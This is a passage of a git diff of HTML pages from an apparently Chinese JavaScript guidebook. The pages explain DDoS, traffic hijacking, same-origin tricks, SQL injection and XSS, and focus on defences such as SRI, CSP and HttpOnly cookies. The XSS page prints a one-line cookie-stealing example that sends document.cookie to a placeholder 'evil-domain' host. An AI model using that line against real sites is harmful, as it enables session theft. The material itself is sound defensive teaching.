                            2. Slow Read:向服务器请求很大的文件,然后通过设置 TCP 滑动窗口较小值,导致服务器以极慢的速度传输文件。这样,就会占用服务器大量的内存,从而造成拒绝服务。
                            3. Slow Body:在向服务器发送 HTTP Post 包时,指定一个非常大的 Content-Length 值,然后以极低的速度发包并保持连接不断,最终导致服务器连接饱和不可用。

                            Kali Linux 提供的专用测试工具 SlowHTTPTest 能够实现以上三种 Slow Attack 方式。

                            JavaScript DDoS

                            基于 JavaScript 的 DDoS 攻击利用的工具是普通网民的上网终端,这也意味着只要装有浏览器的电脑,都能被用作为 DDoS 攻击者的工具。当被操纵的浏览器数量达到一定程度时,这种 DDoS 攻击方式将会带来巨大的破坏性。

                            攻击者会在海量访问的网页中嵌入指向攻击目标网站的恶意 JavaScript 代码,当互联网用户访问该网页时,则流量被指向攻击目标网站。比较典型攻击事件:GitHub DDoS 攻击。

                            ReDoS 攻击

                            ReDoS (Regular expression Denial of Service), 中文译作正则表达式拒绝服务攻击。开发人员使用了正则表达式来对用户输入的数据进行有效性校验,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,从而造成服务器的服务中断或停止。 更详细介绍可参考:「浅析 ReDoS 的原理与实践」一文。

                            DNS Query Flood

                            DNS 作为互联网的核心服务之一,自然也是 DDoS 攻击的一大主要目标。DNS Query Flood 采用的方法是操纵大量傀儡机器,向目标服务器发送大量的域名解析请求。服务器在接收到域名解析请求时,首先会在服务器上查找是否有对应的缓存,若查找不到且该域名无法直接解析时,便向其上层 DNS 服务器递归查询域名信息。

                            通常,攻击者请求解析的域名是随机生成或者是网络上根本不存在的域名。由于在本地域名服务器无法查到对应的结果,本地域名服务器必须使用递归查询向上层域名服务器提交解析请求,引起连锁反应。解析过程给本地域名服务器带来一定的负载,每秒钟域名解析请求超过一定的数量就会造成域名服务器解析域名超时。

                            根据微软的统计数据,一台 DNS 服务器所能承受的动态域名查询的上限是每秒钟 9000 个请求。而一台 P3 的 PC 机上可以轻易地构造出每秒钟几万个域名解析请求,足以使一台硬件配置极高的 DNS 服务器瘫痪,由此可见 DNS 服务器的脆弱性。

                            无线 DDoS 攻击

                            Auth Flood 攻击

                            Auth Flood 攻击,即身份验证洪水攻击。该攻击目标主要针对那些处于通过验证和 AP 建立关联的关联客户端,攻击者将向 AP 发送大量伪造的身份验证请求帧(伪造的身份验证服务和状态代码),当收到大量伪造的身份验证请求超过所能承受的能力时,AP 将断开其他无线服务连接。

                            Deauth Flood 攻击

                            Deauth Flood 攻击即为取消验证洪水攻击,它旨在通过欺骗从 AP 到客户端单播地址的取消身份验证帧来将客户端转为未关联 / 未认证的状态。对于目前的工具来说,这种形式的攻击在打断客户无线服务方面非常有效和快捷。一般来说,在攻击者发送另一个取消身份验证帧之前,客户端会重新关联和认证以再次获取服务。攻击者反复欺骗取消身份验证帧就能使所有客户端持续拒绝服务。

                            Association Flood 攻击

                            Association Flood 攻击即为关联洪水攻击。在无线路由器或者接入点内置一个列表即为连接状态表,里面可显示出所有与该 AP 建立连接的无线客户端状态。它试图通过利用大量模仿和伪造的无线客户端关联来填充 AP 的客户端关联表,从而达到淹没 AP 的目的。

                            由于开放身份验证(空身份验证)允许任何客户端通过身份验证后关联。利用这种漏洞的攻击者可以通过创建多个到达已连接或已关联的客户端来模仿很多客户端,从而淹没目标 AP 的客户端关联表。

                            Disassociation Flood 攻击

                            Disassociation Flood 攻击即为取消关联洪水攻击,和 Deauth Flood 攻击表现方式很相似。它通过欺骗从 AP 到客户端的取消关联帧来强制客户端成为未关联 / 未认证的状态。一般来说,在攻击者发送另一个取消关联帧之前,客户端会重新关联以再次获取服务。攻击者反复欺骗取消关联帧就能使客户端持续拒绝服务。

                            Disassociation Broadcast 攻击和 Disassociation Flood 攻击原理基本一致,只是在发送程度及使用工具上有所区别。前者很多时候用于配合进行无线中间人攻击,而后者常用于目标确定的点对点无线 DoS,比如:破坏或干扰指定机构或部门的无线接入点等。

                            RF Jamming 攻击

                            RF Jamming 攻击即为 RF 干扰攻击。该攻击是通过发出干扰射频达到破坏正常无线通信的目的。而前面几种攻击主要是基于无线通信过程及协议的。RF 为射频,主要包括无线信号发射机及收信机等。

                            判断方法

                            SYN 类

                            1. 服务器 CPU 占用率很高。
                            2. 出现大量的 SYN_RECEIVED 的网络连接状态。
                            3. 网络恢复后,服务器负载瞬时变高。网络断开后瞬时负载下将。

                            UDP 类

                            1. 服务器 CPU 占用率很高。
                            2. 网卡每秒接受大量的数据包。
                            3. 网络 TCP 状态信息正常。

                            CC 类

                            1. 服务器 CPU 占用率很高。
                            2. Web 服务器出现类似 Service Unavailable 提示。
                            3. 出现大量的 ESTABLISHED 的网络连接状态且单个 IP 高达几十个甚至上百个连接。
                            4. 用户无法正常访问网站页面或打开过程非常缓慢,软重启后短期内恢复正常,几分钟后又无法访问。

                            防御策略

                            网络层 DDoS 防御

                            1. 限制单 IP 请求频率。
                            2. 网络架构上做好优化,采用负载均衡分流。
                            3. 防火墙等安全设备上设置禁止 ICMP 包等。
                            4. 通过 DDoS 硬件防火墙的数据包规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等技术对异常流量进行清洗过滤。
                            5. 采用 ISP 近源清洗,使用电信运营商提供的近源清洗和流量压制,避免全站服务对所有用户彻底无法访问。这是对超过自身带宽储备和自身 DDoS 防御能力之外超大流量的补充性缓解措施。

                            应用层 DDoS 防御

                            1. 优化操作系统的 TCP / IP 栈。
                            2. 应用服务器严格限制单个 IP 允许的连接数和 CPU 使用时间。
                            3. 编写代码时,尽量实现优化并合理使用缓存技术。尽量让网站静态化,减少不必要的动态查询。网站静态化不仅能大大提高抗攻击能力,而且还给骇客入侵带来不少麻烦,至少到现在为止关于 HTML 的溢出还没出现。
                            4. 增加 WAF(Web Application Firewall)设备,WAF 的中文名称叫做 Web 应用防火墙。Web 应用防火墙是通过执行一系列针对 HTTP / HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。
                            5. 使用 CDN / 云清洗,在攻击发生时,进行云清洗。通常云清洗厂商策略有以下几步:预先设置好网站的 CNAME,将域名指向云清洗厂商的 DNS 服务器;在一般情况下,云清洗厂商的 DNS 仍将穿透 CDN 的回源的请求指向源站,在检测到攻击发生时,域名指向自己的清洗集群,然后再将清洗后的流量回源。
                            6. CDN 仅对 Web 类服务有效,针对游戏类 TCP 直连的服务无效。这时可以使用 DNS 引流 + ADS (Anti-DDoS System) 设备来清洗,还有在客户端和服务端通信协议做处理(如:封包加标签,依赖信息对称等)。

                            DDoS 攻击究其本质其实是无法彻底防御的,我们能做得就是不断优化自身的网络和服务架构,来提高对 DDoS 的防御能力。

                            参考资料

                            - + diff --git a/computer-networks/web-security/hijacking/index.html b/computer-networks/web-security/hijacking/index.html index c05cf5613..40c00022c 100644 --- a/computer-networks/web-security/hijacking/index.html +++ b/computer-networks/web-security/hijacking/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                            流量劫持

                            流量劫持的方式主要分为两种:

                            • 域名解析劫持(DNS 劫持)
                            • 数据劫持(HTTP 劫持)

                            我们国内用户,一般是在家用路由器后面,要访问一个网站的话,会有三个步骤:

                            1. 首先访问 DNS 服务器,将域名转换为 IP 地址。
                            2. 访问这个 IP 地址,这样用户就访问了目标网站。
                            3. 如果是一个建设良好的网站,一般会把静态资源放在 CDN 上。

                            流量劫持就是在这些环节当中,对数据进行 偷窃篡改,甚至转发流量进行攻击的这样一类行为。

                            DNS 劫持

                            域名解析劫持(DNS 劫持)是针对传统 DNS 解析的常见劫持方式。用户在浏览器输入网址,即发出一个 HTTP 请求,首先需要进行域名解析,得到业务服务器的 IP 地址。使用传统 DNS 解析时,会通过当地网络运营商提供的本地域名服务器解析得到结果。在请求本地域名服务器解析域名时会出现问题,目标域名被恶意地解析到其他 IP 地址,造成用户无法正常使用服务。

                            🌐 关于域名解析过程详解

                            攻击方式

                            那么如何才能够污染 DNS 以达成流量劫持的目的呢?粗略来说,一共有三种途径:

                            1. 在用户设备上动手:这个主要是通过一些恶意软件实现的,比如早期一些流氓软件会在用户本机篡改 hosts 文件,影响用户的搜索引擎工作。
                            2. 污染中间链路设备:由于 DNS 查询是基于 UDP 协议明文发送的,因此在任意中间设备上,比如路由器,进行中间人攻击,修改 UDP 包的内容,就可以影响 DNS 的结果了。
                            3. 入侵 DNS 服务器:这是一种成本比较高的方案,看起来似乎很困难,但 DNS 是一种相对古老的技术,其服务软件的实现可能已经年久失修,别有用心的攻击者可以寻找一些缺乏维护的 DNS 服务器,施行攻击。另外,有时 DNS 服务器上不止运行 DNS 软件,还会有一些其他的软件也在运行,比如同时也启动了 HTTP 服务等,这时攻击者也可以通过这些软件的漏洞来控制服务器,进而影响 DNS 的解析。由于 DNS 的缓存和上下传递关系,一旦有 DNS 服务器被影响,就会一次影响很多用户的访问,因此非常危险。

                            这三种途径当中,第一种和第三种的实施成本都比较高,但污染链路设备,在 Wi-Fi 普及而安全意识尚未普及的今天,是最容易得手的一种途径。

                            防御策略

                            目前针对 DNS 投毒,对抗中间人攻击的研究比较多。DNS 协议本身的安全性较差,而改造 DNS 协议又比较困难,因此现在主要的防御手段,集中在替换 UDP 协议上。

                            • TLS(Cloudflare)
                            • HTTP(腾讯云、阿里云)
                            • HTTPS(Cloudflare、Google)

                            目前,三种常见的替代方式比较流行:

                            1. DNS over TLS。这种协议是在 TLS 协议之上传输 DNS 内容,有点类似 HTTPS 和 TLS 关系。
                            2. DNS over HTTP。用 HTTP 协议来传输 DNS ,也是可以的。国内厂商当中对这种方案的支持较多。最简单的实现是使用一个 固定的 IP 地址作为域名服务器,每次不发生 UDP ,而是向这台服务器发送 HTTP 请求来获取解析结果。但通常很难签发相应的证书给固定 IP,因此也有些厂商自己对 HTTP 报文进行加密,从而防止这些解析结果再被中间人篡改。
                            3. DNS over HTTPS。和第二点比较类似,区别是使用了 HTTPS 协议。根据我的观察,采用这种方案的 Google 和 Cloudflare 都使用的是域名而非固定 IP ,因此还是要先解析一次域名服务器自身的域名才可以进行真正的查询。这可能会导致再次被中间人扰乱,从而迫使用户降级到普通的 UDP 方式上。

                            比较遗憾的是,由于浏览器没有暴露 DNS 相关的接口,这三种较为安全的 DNS 查询方式,都无法在前端当中得以使用。而 iOS 和 Android 开发者有机会使用其中的技术进行加强,但需要单独编写一些代码。

                            打工信部电话(12300)投诉也不失是个好办法。

                            HTTP 劫持

                            HTTP 协议属于明文协议,中间链路上的任意设备,都可以篡改内容,导致流量劫持。

                            防御策略

                            Content Security Policy

                            CSP 原本是为了和 XSS 对抗而产生的一种技术方案,其原理是在 HTML 加载的时候,指定每种资源的 URL 白名单规则,防止 XSS 的运行和数据外送。但如果巧妙利用规则,也可以让所有的资源强制走 HTTPS ,这样就可以降低流量劫持的可能性。

                            具体的 CSP 规则比较复杂,大家可以在 CSP 专属网站上自己查看。

                            Subresource Integrity

                            SRI 是专门用来校验资源的一种方案,它读取资源标签中的 integrity 属性,将其中的信息摘要值,和资源实际的信息摘要值进行对比,如果发现无法匹配,那么浏览器就会拒绝执行资源。对于 <script> 标签来说,就是拒绝执行其中的代码,对于 CSS 来说则是不加载其中的样式。

                            通过给 link 标签或者 script 标签增加 integrity 属性即可开启 SRI 功能,比如:

                            <script
                            type="text/javascript"
                            src="//s.url.cn/xxx/aaa.js"
                            integrity="sha156-xxx sha384-yyy"
                            crossorigin="anonymous"
                            ></script>

                            integrity 值分成两个部分,第一部分指定哈希值的生成算法(sha256、sha384 及 sha512),第二部分是经过 base64 编码的实际哈希值,两者之间通过一个短横(-)分割。integrity 值可以包含多个由空格分隔的哈希值,只要文件匹配其中任意一个哈希值,就可以通过校验并加载该资源。上述例子中我使用了 sha256sha384 两种 hash 方案。

                            备注:crossorigin="anonymous" 的作用是引入跨域脚本,在 HTML5 中有一种方式可以获取到跨域脚本的错误信息,首先跨域脚本的服务器必须通过 Access-Controll-Allow-Origin 头信息允许当前域名可以获取错误信息,然后是当前域名的 script 标签也必须声明支持跨域,也就是 crossorigin 属性。linkimg 等标签均支持跨域脚本。如果上述两个条件无法满足的话, 可以使用 try catch 方案。

                            通过使用 webpack 的 html-webpack-pluginwebpack-subresource-integrity 可以生成包含 integrity 属性 script 标签。

                            import SriPlugin from 'webpack-subresource-integrity';
                            const compiler = webpack({
                            output: {
                            crossOriginLoading: 'anonymous',
                            },
                            plugins: [
                            new SriPlugin({
                            hashFuncNames: ['sha256', 'sha384'],
                            enabled: process.env.NODE_ENV === 'production',
                            }),
                            ],
                            });

                            那么当 script 或者 link 资源 SRI 校验失败的时候应该怎么做呢?

                            比较好的方式是通过 scriptonerror 事件,当遇到 onerror 的时候重新 load 静态文件服务器之间的资源:

                            <script
                            type="text/javascript"
                            src="//11.url.cn/aaa.js"
                            integrity="sha256-xxx sha384-yyy"
                            crossorigin="anonymous"
                            onerror="loadScriptError.call(this, event)"
                            onsuccess="loadScriptSuccess"
                            ></script>

                            在此之前注入以下代码:

                            (function () {
                            function loadScriptError (event) {
                            // 上报
                            ...
                            // 重新加载 js
                            return new Promise(function (resolve, reject) {
                            var script = document.createElement('script')
                            script.src = this.src.replace(/\/\/11.src.cn/, 'https://x.y.z') // 替换 cdn 地址为静态文件服务器地址
                            script.onload = resolve
                            script.onerror = reject
                            script.crossOrigin = 'anonymous'
                            document.getElementsByTagName('head')[0].appendChild(script)
                            })
                            }
                            function loadScriptSuccess () {
                            // 上报
                            ...
                            }
                            window.loadScriptError = loadScriptError
                            window.loadScriptSuccess = loadScriptSuccess
                            })()

                            比较痛苦的是 onerror 中的 event 中无法区分究竟是什么原因导致的错误,可能是资源不存在,也可能是 SRI 校验失败,当然出现最多的还是请求超时,不过目前来看,除非有统计需求,无差别对待并没有多大问题。

                            注入 onerror 事件

                            当然,由于项目中的 script 标签是由 webpack 打包进去的,所以我们要使用 script-ext-html-webpack-pluginonerror 事件和 onsuccess 事件注入进去:

                            const ScriptExtHtmlWebpackPlugin = require('script-ext-html-webpack-plugin');
                            -
                            module.exports = {
                            //...
                            plugins: [
                            new HtmlWebpackPlugin(),
                            new SriPlugin({
                            hashFuncNames: ['sha256', 'sha384'],
                            }),
                            new ScriptExtHtmlWebpackPlugin({
                            custom: {
                            test: /\/*_[A-Za-z0-9]{8}.js/,
                            attribute: 'onerror',
                            value: 'loadScriptError.call(this, event)',
                            },
                            }),
                            new ScriptExtHtmlWebpackPlugin({
                            custom: {
                            test: /\/*_[A-Za-z0-9]{8}.js/,
                            attribute: 'onsuccess',
                            value: 'loadScriptSuccess.call(this, event)',
                            },
                            }),
                            ],
                            };

                            然后将 loadScriptErrorloadScriptSuccess 两个方法注入到 HTML 中,可以使用 inline 的方式。

                            CDN 劫持

                            前面说到 script 加载失败可能是由于多种原因造成的,那如何是否判断发生了 CDN 劫持呢?

                            方法就是再请求一次数据,比较两次得到文件的内容(当然不必全部比较),如果内容不一致,就可以得出结论了。

                            function loadScript(url) {
                            return fetch(url)
                            .then((res) => {
                            if (res.ok) {
                            return res;
                            }
                            return Promise.reject(new Error());
                            })
                            .then((res) => {
                            return res.text();
                            })
                            .catch((e) => {
                            return '';
                            });
                            }

                            比较两次加载的 script 是否相同

                            function checkScriptDiff(src, srcNew) {
                            return Promise.all([loadScript(src), loadScript(srcNew)])
                            .then((data) => {
                            var res1 = data[0].slice(0, 1000);
                            var res2 = data[1].slice(0, 1000);
                            if (!!res1 && !!res2 && res1 !== res2) {
                            // CDN劫持事件发生
                            }
                            })
                            .catch((e) => {
                            // ...
                            });
                            }

                            这里为什么只比较前 1000 个字符?因为通常 CDN 劫持者会在 js 文件最前面注入一些代码来达到他们的目的,注入中间代码需要 AST 解析,成本较高,所以比较全部字符串没有意义。如果你还是有顾虑的话,可以加上后 n 个字符的比较。

                            参考资料

                            +
                            module.exports = {
                            //...
                            plugins: [
                            new HtmlWebpackPlugin(),
                            new SriPlugin({
                            hashFuncNames: ['sha256', 'sha384'],
                            }),
                            new ScriptExtHtmlWebpackPlugin({
                            custom: {
                            test: /\/*_[A-Za-z0-9]{8}.js/,
                            attribute: 'onerror',
                            value: 'loadScriptError.call(this, event)',
                            },
                            }),
                            new ScriptExtHtmlWebpackPlugin({
                            custom: {
                            test: /\/*_[A-Za-z0-9]{8}.js/,
                            attribute: 'onsuccess',
                            value: 'loadScriptSuccess.call(this, event)',
                            },
                            }),
                            ],
                            };

                            然后将 loadScriptErrorloadScriptSuccess 两个方法注入到 HTML 中,可以使用 inline 的方式。

                            CDN 劫持

                            前面说到 script 加载失败可能是由于多种原因造成的,那如何是否判断发生了 CDN 劫持呢?

                            方法就是再请求一次数据,比较两次得到文件的内容(当然不必全部比较),如果内容不一致,就可以得出结论了。

                            function loadScript(url) {
                            return fetch(url)
                            .then((res) => {
                            if (res.ok) {
                            return res;
                            }
                            return Promise.reject(new Error());
                            })
                            .then((res) => {
                            return res.text();
                            })
                            .catch((e) => {
                            return '';
                            });
                            }

                            比较两次加载的 script 是否相同

                            function checkScriptDiff(src, srcNew) {
                            return Promise.all([loadScript(src), loadScript(srcNew)])
                            .then((data) => {
                            var res1 = data[0].slice(0, 1000);
                            var res2 = data[1].slice(0, 1000);
                            if (!!res1 && !!res2 && res1 !== res2) {
                            // CDN劫持事件发生
                            }
                            })
                            .catch((e) => {
                            // ...
                            });
                            }

                            这里为什么只比较前 1000 个字符?因为通常 CDN 劫持者会在 js 文件最前面注入一些代码来达到他们的目的,注入中间代码需要 AST 解析,成本较高,所以比较全部字符串没有意义。如果你还是有顾虑的话,可以加上后 n 个字符的比较。

                            参考资料

                            - + diff --git a/computer-networks/web-security/index.html b/computer-networks/web-security/index.html index 34ff05c2e..0a4c083ac 100644 --- a/computer-networks/web-security/index.html +++ b/computer-networks/web-security/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/computer-networks/web-security/same-origin-policy/index.html b/computer-networks/web-security/same-origin-policy/index.html index 18e6faef1..b9e9dc258 100644 --- a/computer-networks/web-security/same-origin-policy/index.html +++ b/computer-networks/web-security/same-origin-policy/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -59,12 +62,12 @@
                            const iframe = document.createElement('iframe');
                            iframe.src = 'http://localhost:8000/hash/b.html#name2';
                            document.body.appendChild(iframe);
                            </script>

                            window.name + iframe

                            window 对象的 name 属性是一个很特别的属性,当该 windowlocation 变化,然后重新加载,它的 name 属性可以依然保持不变。

                            其中 a.htmlb.html 是同域的,都是 http://localhost:8000/,而 c.htmlhttp://localhost:8080/

                            a.html

                            <iframe
                            id="iframe"
                            frameborder="0"
                            src="http://localhost:8080/name/c.html"
                            onload="load()"
                            ></iframe>
                            -
                            <script type="application/javascript">
                            let first = true;
                            // onload 事件会触发 2 次,第 1 次加载跨域页,并留存数据于 window.name
                            function load() {
                            if (first) {
                            // 第 1 次 onload(跨域页)成功后,切换到同域代理页面
                            iframe.src = 'http://localhost:8000/name/b.html';
                            first = false;
                            } else {
                            // 第 2 次 onload(同域 b.html 页)成功后,读取同域 window.name 中数据
                            console.log(iframe.contentWindow.name);
                            }
                            }
                            </script>

                            b.html 为中间代理页,与 a.html 同域,内容为空。

                            <div></div>

                            c.html

                            <script type="application/javascript">
                            window.name = 'Hello world!';
                            </script>

                            阻止跨源访问

                            参考资料

                            +
                            <script type="application/javascript">
                            let first = true;
                            // onload 事件会触发 2 次,第 1 次加载跨域页,并留存数据于 window.name
                            function load() {
                            if (first) {
                            // 第 1 次 onload(跨域页)成功后,切换到同域代理页面
                            iframe.src = 'http://localhost:8000/name/b.html';
                            first = false;
                            } else {
                            // 第 2 次 onload(同域 b.html 页)成功后,读取同域 window.name 中数据
                            console.log(iframe.contentWindow.name);
                            }
                            }
                            </script>

                            b.html 为中间代理页,与 a.html 同域,内容为空。

                            <div></div>

                            c.html

                            <script type="application/javascript">
                            window.name = 'Hello world!';
                            </script>

                            阻止跨源访问

                            参考资料

                            - + diff --git a/computer-networks/web-security/sql-injection/index.html b/computer-networks/web-security/sql-injection/index.html index 91d3bebe9..67df5b3cf 100644 --- a/computer-networks/web-security/sql-injection/index.html +++ b/computer-networks/web-security/sql-injection/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + SQL 注入攻击 - JavaScript Guidebook -

                            SQL 注入攻击

                            SQL 注入,也称为 SQL 隐码或 SQL 注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序单中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵。

                            攻击方式

                            1. SQL 命令可查询、插入、更新、删除等,命令的串接。而以分号字符为不同命令的区别。(原本的作用是用于 SubQuery 或作为查询、插入、更新、删除等的条件式)
                            2. SQL 命令对于传入的字符串参数是用单引号字符所包起来。(但连续 2 个单引号字符,在 SQL 数据库中,则视为字符串中的一个单引号字符)
                            3. SQL 命令中,可以注入注解(连续 2 个减号字符 -- 后的文字为注解,或 /**/ 所包起来的文字为注解)
                            4. 因此,如果在组合 SQL 的命令字符串时,未针对单引号字符作跳脱处理的话,将导致该字符变量在填入命令字符串时,被恶意窜改原本的 SQL 语法的作用。

                            防御策略

                            数据校验

                            SQL 注入漏洞的主要原因还是没有对用户输入的数据进行过滤,所以对来自用户的数据(GET、POST、Cookie 等)最好做到以下两种过滤校验

                            • 检查输入的数据是否具有所期望的数据格式。这种在参数是数字的时候特别有效,如果攻击者选择在参数中插入内容的话则会被转换成 NaN 导致攻击失败。
                            • 使用数据库特定的敏感字符转义函数把用户提交上来的非数字数据进行转义。

                            权限限制

                            严格限制 Web 应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。**请记住永远不要使用超级用户或所有者帐号去连接数据库!**当数据库被攻击时将损伤限制在当前表的范围是比较明智的选择。通过权限限制可以防止攻击者获取数据库其它信息,甚至利用数据库执行 Shell 命令等操作。

                            日志处理

                            当数据库操作失败的时候,尽量不要将原始错误日志返回,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。除此之外,在允许的情况下,使用代码或数据库系统保存查询日志也是一个好办法。显然,日志并不能防止任何攻击,但定期审计数据库执行日志可以跟踪是否存在应用程序正常逻辑之外的 SQL 语句执行。日志本身没用,要查阅其中包含的信息才行。毕竟,更多的信息总比没有要好。

                            参考资料

                            +

                            SQL 注入攻击

                            SQL 注入,也称为 SQL 隐码或 SQL 注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序单中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵。

                            攻击方式

                            1. SQL 命令可查询、插入、更新、删除等,命令的串接。而以分号字符为不同命令的区别。(原本的作用是用于 SubQuery 或作为查询、插入、更新、删除等的条件式)
                            2. SQL 命令对于传入的字符串参数是用单引号字符所包起来。(但连续 2 个单引号字符,在 SQL 数据库中,则视为字符串中的一个单引号字符)
                            3. SQL 命令中,可以注入注解(连续 2 个减号字符 -- 后的文字为注解,或 /**/ 所包起来的文字为注解)
                            4. 因此,如果在组合 SQL 的命令字符串时,未针对单引号字符作跳脱处理的话,将导致该字符变量在填入命令字符串时,被恶意窜改原本的 SQL 语法的作用。

                            防御策略

                            数据校验

                            SQL 注入漏洞的主要原因还是没有对用户输入的数据进行过滤,所以对来自用户的数据(GET、POST、Cookie 等)最好做到以下两种过滤校验

                            • 检查输入的数据是否具有所期望的数据格式。这种在参数是数字的时候特别有效,如果攻击者选择在参数中插入内容的话则会被转换成 NaN 导致攻击失败。
                            • 使用数据库特定的敏感字符转义函数把用户提交上来的非数字数据进行转义。

                            权限限制

                            严格限制 Web 应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。**请记住永远不要使用超级用户或所有者帐号去连接数据库!**当数据库被攻击时将损伤限制在当前表的范围是比较明智的选择。通过权限限制可以防止攻击者获取数据库其它信息,甚至利用数据库执行 Shell 命令等操作。

                            日志处理

                            当数据库操作失败的时候,尽量不要将原始错误日志返回,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。除此之外,在允许的情况下,使用代码或数据库系统保存查询日志也是一个好办法。显然,日志并不能防止任何攻击,但定期审计数据库执行日志可以跟踪是否存在应用程序正常逻辑之外的 SQL 语句执行。日志本身没用,要查阅其中包含的信息才行。毕竟,更多的信息总比没有要好。

                            参考资料

                            - + diff --git a/computer-networks/web-security/xss/index.html b/computer-networks/web-security/xss/index.html index 2346ea951..c37ab5d35 100644 --- a/computer-networks/web-security/xss/index.html +++ b/computer-networks/web-security/xss/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -57,12 +60,12 @@
                            <!-- 一个在线邮箱的管理者想要允许在邮件里包含HTML,同样图片允许从任何地方加载,但不允许JavaScript或者其他潜在的危险内容(从任意位置加载)。 -->
                            <meta http-equiv="Content-Security-Policy" content="default-src 'self' *.mailsite.com; img-src *" />

                            启用后,不符合 CSP 的外部资源就会被阻止加载。

                            严格的 CSP 在 XSS 的防范中可以起到下列的作用:

                            更多关于 CSP 的理解可以参考 Content Security Policy(CSP)是什么?为什么它能低于 XSS 攻击?

                            或者查看关于 HTTP CSP 内容安全策略 的整理。

                            窃取网页 Cookie 的示例:

                            new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie;

                            使用 HttpOnly Cookie 将重要的 Cookie 标记为 http-only,这样的话当浏览器向 Web 服务器发起请求的时就会带上 Cookie 字段,但是在 JavaScript 脚本中却不能访问这个 Cookie,这样就避免了 XSS 攻击利用 JavaScript 的 document.cookie 获取 Cookie。

                            在 Koa 中设置 Cookie httpOnly 属性:

                            const Koa = require('koa');
                            const app = new Koa();
                            app.use(async (ctx) => {
                            if (ctx.url === '/index') {
                            ctx.cookie.set('cid', 'hello world', {
                            // 写 Cookie 所在域名
                            domain: 'localhost',
                            // 写 Cookie 所在的路径
                            path: '/index',
                            // Cookie 有效时长
                            maxAge: 10 * 60 * 1000,
                            // Cookie 失效时间
                            expires: new Date('2017-02-15'),
                            // 是否只用于 HTTP 请求中获取
                            httpOnly: true,
                            // 是否允许重写
                            overwrite: false,
                            });
                            ctx.body = 'Cookie is ok.';
                            } else {
                            ctx.body = 'Hello world!';
                            }
                            });
                            -
                            app.listen(300, () => {
                            console.log('[demo] Cookie is starting at port 3000');
                            });

                            在 Chrome 浏览器 Application 面板查看 Cookie 缓存可以直到哪些 Cookie 字段设置了 HttpOnly:

                            Cookies HttpOnly

                            参考资料

                            +
                            app.listen(300, () => {
                            console.log('[demo] Cookie is starting at port 3000');
                            });

                            在 Chrome 浏览器 Application 面板查看 Cookie 缓存可以直到哪些 Cookie 字段设置了 HttpOnly:

                            Cookies HttpOnly

                            参考资料

                            - + diff --git a/core-modules/ecmascript-function-objects/function-arguments/default-parameters/index.html b/core-modules/ecmascript-function-objects/function-arguments/default-parameters/index.html index 664d3d26a..d72d0a581 100644 --- a/core-modules/ecmascript-function-objects/function-arguments/default-parameters/index.html +++ b/core-modules/ecmascript-function-objects/function-arguments/default-parameters/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -73,12 +76,12 @@
                            bar(); // ReferenceError: fn is not defined

                            上面代码中,匿名函数里面的 fn 指向函数外层,但是函数外层并没有声明变量 fn,所以就报错了。

                            下面是一个更复杂的例子。

                            var x = 1;
                            function fn(
                            x,
                            y = function() {
                            x = 2;
                            }
                            ) {
                            var x = 3;
                            y();
                            console.log(x);
                            }
                            fn(); // 3
                            x; // 1

                            上面代码中,函数 fn 的参数形成一个单独作用域。这个作用域里面,首先声明了变量 x,然后声明了变量yy 的默认值是一个匿名函数。这个匿名函数内部的变量 x,指向同一个作用域的第一个参数 x。函数 fn内部又声明了一个内部变量 x,该变量与第一个参数 x 由于不是同一个作用域,所以不是同一个变量,因此执行y后,内部变量x和外部全局变量 x 的值都没变。

                            如果将 var x = 3var 去除,函数 fn 的内部变量 x 就指向第一个参数 x,与匿名函数内部的 x 是一致的,所以最后输出的就是 2,而外层的全局变量 x 依然不受影响。

                            var x = 1;
                            function fn(
                            x,
                            y = function() {
                            x = 2;
                            }
                            ) {
                            x = 3;
                            y();
                            console.log(x);
                            }
                            fn();
                            // 2
                            -
                            console.log(x);
                            // 1

                            总结:

                            抛弃参数对象

                            现在我们已经看到了 arguments 对象可被不定参数和默认参数完美代替,移除 arguments 后通常会使代码更易于阅读。除了破坏可读性外,众所周知,针对 arguments 对象对 JavaScript 虚拟机进行的优化会导致一些让你头疼不已的问题。

                            我们期待着不定参数和默认参数可以完全取代 arguments,要实现这个目标,标准中增加了相应的限制:在使用不定参数或默认参数的函数中禁止使用 arguments 对象。曾经实现过 arguments 的引擎不会立即移除对它的支持,当然,现在更推荐使用不定参数和默认参数。

                            +
                            console.log(x);
                            // 1

                            总结:

                            抛弃参数对象

                            现在我们已经看到了 arguments 对象可被不定参数和默认参数完美代替,移除 arguments 后通常会使代码更易于阅读。除了破坏可读性外,众所周知,针对 arguments 对象对 JavaScript 虚拟机进行的优化会导致一些让你头疼不已的问题。

